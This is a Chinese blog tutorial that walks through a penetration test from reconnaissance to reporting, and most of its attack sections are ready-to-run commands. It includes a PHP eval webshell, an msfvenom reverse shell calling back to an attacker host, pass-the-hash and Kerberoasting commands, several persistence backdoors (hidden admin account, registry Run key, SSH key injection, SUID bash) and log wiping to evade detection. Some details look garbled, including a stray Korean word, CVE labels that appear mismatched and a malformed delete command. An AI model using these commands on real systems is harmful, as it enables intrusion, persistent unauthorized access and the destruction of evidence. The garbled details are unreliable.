一次完整的渗透测试流程:从信息收集到权限维持

一次完整的渗透测试流程:从信息收集到权限维持

作者:浅木·先生


前言

很多人学安全的路径是这样的:学几个漏洞名称、了解几个工具命令,觉得自己"会渗透了"。

但真正做过渗透测试的人都知道,渗透不是一个一个漏洞的罗列,而是一套完整的攻击链。从信息收集的广度,到漏洞利用的深度,再到内网漫游的持久度,每一个环节都决定了最终能否拿下目标。

本文结合当前网络安全行业的主流实践,系统性地梳理一次完整渗透测试的标准流程,覆盖:

  • 信息收集 → 漏洞探测 → 漏洞利用 → 内网转发 → 内网横向渗透 → 权限维持 → 痕迹清除 → 报告撰写

每个环节我都结合实际案例和工具操作展开,帮你建立完整的渗透测试思维框架。


一、渗透测试的前提:授权与边界

重要的事情说三遍:未经授权的渗透测试是违法的。

2021年9月1日正式实施的《数据安全法》和2022年3月1日实施的《网络安全审查办法》,对网络攻击行为有了明确的法律约束。无论你是安全研究还是技术学习,** 반드시 得到目标所有者的书面授权**,才能对目标系统进行任何形式的渗透测试。

渗透测试的分类

类型 说明 特点
黑盒测试 只提供目标URL,其他信息全靠自己去收集 完全模拟外部黑客视角,难度高
白盒测试 提供源码、架构图、账号权限等全部信息 可针对性地做代码审计和深层测试
灰盒测试 提供部分信息,如只给一个内网IP段 介于黑白之间,常用于内网渗透测试

本文重点讲黑盒测试,这是最接近真实攻击场景的方式------你只知道目标是什么,其他全靠"打"。


二、信息收集:知己知彼,百战不殆

渗透测试的第一步,也是最关键的一步。很多人忽视信息收集,觉得"扫一扫端口就完了",但实际上真正决定渗透成败的,恰恰是信息收集的深度和广度。

2.1 资产发现:目标有哪些

拿到目标URL后,先查一下这个域名背后有多少资产:

bash 复制代码
# 查域名真实IP(判断是否用了CDN)
nslookup target.com
dig target.com
在线工具:https://whois Request

# 查旁站(同IP上还有哪些网站)
说明:一个服务器经常托管多个网站,查到旁站就等于扩大了攻击面
常用工具:bypass.taobao.com、dnsly.io

# 查子域名(subdomain brute force)
 amass enum -passive -d target.com
 subfinder -d target.com

真实案例: 某次渗透测试中,主站防护做得很好,但通过子域名探测发现了 dev.target.com 测试系统,弱口令直接登录后台,找到了一处文件上传漏洞。

2.2 服务器信息:操作系统与中间件

bash 复制代码
# 判断操作系统
ping -c 1 target.com  # 通过TTL值判断:Linux=64,Windows=128
nmap -O target.com    # 更精确的系统指纹识别

# 判断中间件版本
whatweb target.com   # 识别Web服务器类型和版本
nmap -sV target.com  # 扫描端口服务版本

关键信息收集:

  • 服务器系统(Linux/Windows)
  • Web服务器(Apache/Nginx/Tomcat/IIS)
  • 编程语言(PHP/Java/Python/ASP)
  • CMS类型(WordPress/DedeCMS/ThinkPHP)
  • 开放端口(22/SSH、80/Http、443/Https、3306/MySQL、3389/RDP)

2.3 敏感目录与文件

bash 复制代码
# dirsearch 目录扫描
python3 dirsearch.py -u https://target.com -e php,html,js -t 20

# dirb 常见目录爆破
dirb https://target.com /usr/share/wordlists/dirb/common.txt

# 敏感文件发现(robots.txt、crossdomain.xml、sitemap.xml)

常见的敏感路径:

  • /admin/ /phpmyadmin/ /manager/ 后台管理入口
  • /uploads/ /backup/ /data/ 可利用的上传/备份/数据目录
  • /api/ /v1/ /swagger/ 接口文档
  • .git/ .svn/ .DS_Store 版本控制信息泄露

注意: 如果发现 .git 目录,直接可以尝试用 git-dumper 拉取源码,这往往是最快拿到shell的方式。

2.4 whois与邮件信息

bash 复制代码
# whois 查询(查注册邮箱、公司信息、NS服务器)
whois target.com

# 查邮箱(用于后续钓鱼和爆破)
hunter.io search target.com

社工信息收集:

  • 通过 hunter.io 查公司邮箱命名规则
  • 通过 linkedin 查团队成员信息
  • 通过 qqqzone 查员工的真实姓名和常用ID

这些信息可以用来生成密码字典,对登录入口进行爆破。


三、漏洞探测:从点到面的系统化扫描

信息收集完成后,开始漏洞探测。这个阶段需要系统化,避免遗漏。

3.1 自动化扫描(初步摸排)

bash 复制代码
# AWVS 漏洞扫描器(商业级,误报率低)
# 适合对整个Web应用做全面扫描

# Nessus 漏洞扫描(主打系统层漏洞)
# 适合配合Web漏洞扫描做组合拳

# BurpSuite Professional(被动扫描+主动探测)
# intercept 抓包 → repeater 改包 → intruder 爆破

# Xray(国产免费神器,配合BurpSuite使用)
xray webscan --basic crawler https://target.com

3.2 常见Web漏洞快速探测清单

漏洞类型 快速探测方法 工具
SQL注入 单引号 ' 触发报错,构造恒真/假条件 Sqlmap
XSS <script>alert(1)</script> 测试弹窗 Beef-XSS
CSRF 检查请求是否携带Token BurpSuite
SSRF 构造 file:///etc/passwd 或内网地址 curl
文件上传 上传 .php .asp .jsp 测试 菜刀/Cknife
文件包含 ?file=../../etc/passwd 本地包含测试 BurpSuite
命令注入 ;whoami && id 测试命令执行 Commix
XXE 构造XML外部实体读取文件 BurpSuite
未授权访问 直接访问管理接口测试 curl

3.3 漏洞利用的核心思路

一个漏洞很少能直接拿到shell,通常需要多个漏洞串联。

常见利用链路:

复制代码
SQL注入 → 拿到后台管理员数据 → 后台文件上传 → getshell
↓
某处接口未授权访问 → 获取用户数据 → 密码复用 → 登录后台 → 文件上传 → getshell

四、漏洞利用:从边缘入口到服务器权限

4.1 Webshell的获取与连接

拿到漏洞入口后,下一步是getshell。

bash 复制代码
# 冰蝎3(推荐,免杀能力强)
# 优势:加密传输、支持命令执行、文件管理、代理转发

# 蚁剑(开源,插件丰富)
# 优势:编码器多、自定义程度高

# 哥斯拉(支持jsp,适合Java中间件)
php 复制代码
# 最简单的一句话木马(仅供理解,实际使用需修改)
<?php @eval($_POST['pass']); ?>
# 冰蝎冰蝎3默认密钥:rebeyond

4.2 提权:从普通用户到SYSTEM

获得Webshell后,一般权限很低,需要提权。

Windows提权思路:

bash 复制代码
# 1. 手动信息收集
systeminfo          # 看补丁情况,找未打的CVE
whoami /priv        # 看当前用户权限
net user            # 查看本机用户
net localgroup administrators  # 查看管理员组

# 2. 利用未打补丁的CVE提权
# Win10/WinServer 2019 未打补丁可试:
# CVE-2022-26923(ADCS提权)
# CVE-2021-43298(HP Print Spooler)

# 3. 土豆家族提权
# RottenPotato(NTLM Relay到SYSTEM)
# SweetPotato(多种提权方式组合)
# PrintPotato(CVE-2022-22749)

Linux提权思路:

bash 复制代码
# 1. 信息收集
uname -a                    # 内核版本
sudo -l                     # 当前用户sudo权限
find / -perm -4000 2>/dev/null  # SUID权限文件
cat /etc/passwd             # 用户列表

# 2. 常用的Linux提权CVE
# CVE-2021-3156(sudo buffer overflow)
# CVE-2021-4034(Polkit pkexec)
# CVE-2022-0847(Dirty Pipe)

MSF一键反弹shell:

bash 复制代码
# 生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f elf > shell.elf

# MSF监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
run

五、内网转发:打破网络边界

拿下的Web服务器往往在DMZ区,不能直接访问内网。这时需要做内网转发

5.1 代理工具选择

工具 特点 适用场景
FRP 支持TCP/UDP,配置简单 稳定持久内网穿透
Neo-reGeorg 模拟正常HTTP流量,隐蔽性强 过防火墙检测
EarthWorm 多级代理,支持socks5 老牌稳定
Termite 支持端口复用 需要多级跳转时

5.2 FRP内网穿透实战

ini 复制代码
# frps.ini(公网服务器)
[common]
bind_port = 7000
token = your_token_here

# frpc.ini(靶机)
[common]
server_addr = your_server_ip
server_port = 7000
token = your_token_here

[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5

配置好后,通过 1080 端口的SOCKS5代理,就可以用本机工具探测内网了。


六、内网横向渗透:扩大战果

6.1 内网信息收集

bash 复制代码
# Windows
ipconfig /all          # IP、网关、DNS
net view               # 存活主机
net view /domain       # 域环境判断
net user               # 本机用户列表
net localgroup administrators  # 管理员组

# Linux
ifconfig -a            # 网卡信息
cat /etc/hosts          # hosts文件
arp -a                 # ARP表(看同网段有哪些机器)

6.2 域环境渗透(Active Directory)

如果内网是域环境,核心目标就是域控(Domain Controller)

关键信息收集:

bash 复制代码
# 查询域信息
net view /domain
nltest /dclist:target_domain

# 查询域用户和组
net user /domain
net group "Domain Admins" /domain

# 通过LDAP查询
ldapsearch -x -H ldap://dc_ip -D "CN=xxx,CN=Users,DC=target,DC=com" -W

Kerberoast攻击(获取高权限用户票据):

bash 复制代码
# 请求SPN服务票据
GetUserSPNs.py target_domain/target_user:password@dc_ip

# 离线破解票据
hashcat -m 13100 ticket.hash /wordlists/rockyou.txt

6.3 横向移动常用手法

手法 工具 说明
PTH(哈希传递) mimikatz / CrackMapExec 用NTLM哈希直接认证
WMI横向 wmiexec.py / impacket 端口135/445,远程执行
SSH横向 ssh user@target 拿到密码后直接连
RDP横向 xfreerdp / rdesktop 需要开启3389
bash 复制代码
# CrackMapExec批量哈希传递
crackmapexec smb 10.10.10.0/24 -u admin -H ntlm_hash --local-auth

# impacket psexec
psexec.py target_domain/admin@target_ip cmd.exe

七、权限维持:稳住既有阵地

拿到权限后,如果不想办法维持,很可能会丢失控制权。

7.1 Windows权限维持

powershell 复制代码
# 1. 建立隐藏用户(用户名后加$)
net user hacked$ password /add
net localgroup administrators hacked$ /add

# 2. 开机自启后门(注册表)
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

# 3. MSF persistence模块(自动回连)
run persistence -X -i 10 -p 8888 -r your_ip

# 4. 万能钥匙后门(域环境)
# 获取krbtgt哈希,制作黄金票据长期控域

7.2 Linux权限维持

bash 复制代码
# 1. SSH后门(公钥注入)
echo 'ssh-rsa AAAAB3Nz...' >> /root/.ssh/authorized_keys

# 2. crontab定时任务
(crontab -l; echo "*/5 * * * * /tmp/backdoor") | crontab -

# 3. SUID后门
chmod u+s /bin/bash
# 后续:/bin/bash -p → 直接提权到root

# 4. 进程注入后门(rootkit思路)

八、痕迹清除:增加发现成本

清除入侵痕迹是为了增加运维人员发现你存在的时间成本,而不是完全抹除(技术上无法完全清除)。

Windows痕迹清除

bash 复制代码
# MSF一键清除
clearev    # 清除日志

# 手动清除RDP连接记录
del %WINDR%\* .log /a/s/q/f

# 清除远程桌面连接记录
reg delete "HKCU\Software\Microsoft\Terminal Server Client" /va /f

Linux痕迹清除

bash 复制代码
# 禁用命令历史记录
export HISTFILE=/dev/null
export HISTSIZE=0

# 清除日志文件
echo > /var/log/audit/audit.log
echo > /var/log/wtmp
echo > /var/log/utmp

# 清除web日志(根据中间件找到日志路径)
# Nginx: /var/log/nginx/access.log
# Apache: /var/log/httpd/access_log

核心原则: 隐蔽身份比清除痕迹更重要,渗透前挂代理 + 渗透中保持低调,是最好的自我保护。


九、渗透测试报告撰写

这是渗透测试的最后一环,也是给客户最重要的交付物。

报告结构建议

复制代码
1. 信息安全测试概述
   - 测试背景
   - 测试目标
   - 测试范围
   - 测试时间

2. 漏洞统计与风险评级
   - 漏洞清单(高危/中危/低危)
   - CVSS评分

3. 各漏洞详细说明
   - 漏洞描述
   - 漏洞URL和参数
   - 漏洞利用步骤(截图)
   - 修复建议

4. 安全防护建议
   - 短期修复方案
   - 中期加固方案
   - 长期安全建设

总结

一次完整的渗透测试,考验的是系统化思维攻击链完整性

  1. 信息收集 → 决定攻击面的大小
  2. 漏洞探测 → 找准突破口
  3. 漏洞利用 → 拿到入口权限
  4. 提权 → 扩大权限
  5. 内网转发 → 突破网络边界
  6. 横向渗透 → 扩大战果
  7. 权限维持 → 持久化控制
  8. 痕迹清除 → 增加被发现成本
  9. 报告撰写 → 交付客户价值

每个环节都有其专业性和深度的知识,后续文章我会对每个环节进行详细展开。


关于作者

作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。

如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以私信留言,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈

相关推荐
飞斯柯罗15 天前
[飞斯柯罗]+Q&A 基于VTA成功案例的汽车网络安全测试经验
安全测试·汽车网络安全·车载网络安全·vta·unr155·iso21434·汽车合规
李白你好1 个月前
日常安全测试的可视化巡检工具
安全测试
七夜zippoe3 个月前
安全测试实战:OWASP Top 10全面防护指南
python·sql·xss·安全测试·安全框架·核心漏洞
合天网安实验室3 个月前
某LLM问答系统安全测试报告:提示词注入与越狱攻击分析
llm·安全测试·ai安全·问答大模型
少云清3 个月前
【安全测试】4_用户认证安全测试 _认证与会话、暴力破解、权限控制
安全测试
少云清3 个月前
【安全测试】1_安全测试体系 _安全测试介绍
安全测试
黑客思维者5 个月前
智能配电系统安全测试体系化设计与实施指南
自动化测试·安全·系统安全·安全测试
qq_297075676 个月前
渗透测试工具 windows上搭建vmware kali-linux
安全测试
qq_297075677 个月前
vmware和kali linux安装和搭建
linux·安全测试